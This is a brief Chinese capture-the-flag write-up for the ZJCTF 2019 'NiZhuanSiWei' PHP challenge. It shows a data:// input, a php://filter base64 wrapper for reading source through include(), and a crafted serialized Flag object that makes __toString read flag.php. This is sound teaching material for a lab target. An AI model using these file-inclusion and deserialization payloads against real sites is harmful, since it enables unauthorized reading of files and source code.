[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
向往着的青绿色31 分钟前
Java反序列化漏洞(持续更新中)
java·开发语言·计算机网络·安全·web安全·网络安全·网络攻击模型
℡終嚸♂6801 小时前
n8n 未初始化接管到读取 Flag Writeup
服务器·web安全·web·n8n
@insist1233 小时前
信息安全工程师-网络安全体系建设:从理论模型到等级保护落地全指南
安全·web安全
killer Curry4 小时前
Polar CTF Reverse困难(1)
网络安全
能年玲奈喝榴莲牛奶6 小时前
路由器弱口令利用
网络·web安全·智能路由器·网络设备·攻防演练
世界尽头与你6 小时前
FastAPI Swagger Api 接口未授权访问漏洞
安全·网络安全·渗透测试·fastapi
不灭锦鲤6 小时前
漏洞挖掘研究
安全·web安全
Suckerbin6 小时前
vulnyx-Explorer靶场渗透
安全·web安全·网络安全
dollmarker6 小时前
vulnhub靶场之hacksudo: 2 (HackDudo)靶机-NFS提权
c语言·网络·网络安全·php
能年玲奈喝榴莲牛奶7 小时前
OfficeWeb365 SaveDraw 任意文件上传漏洞
安全·web安全·渗透测试·漏洞复现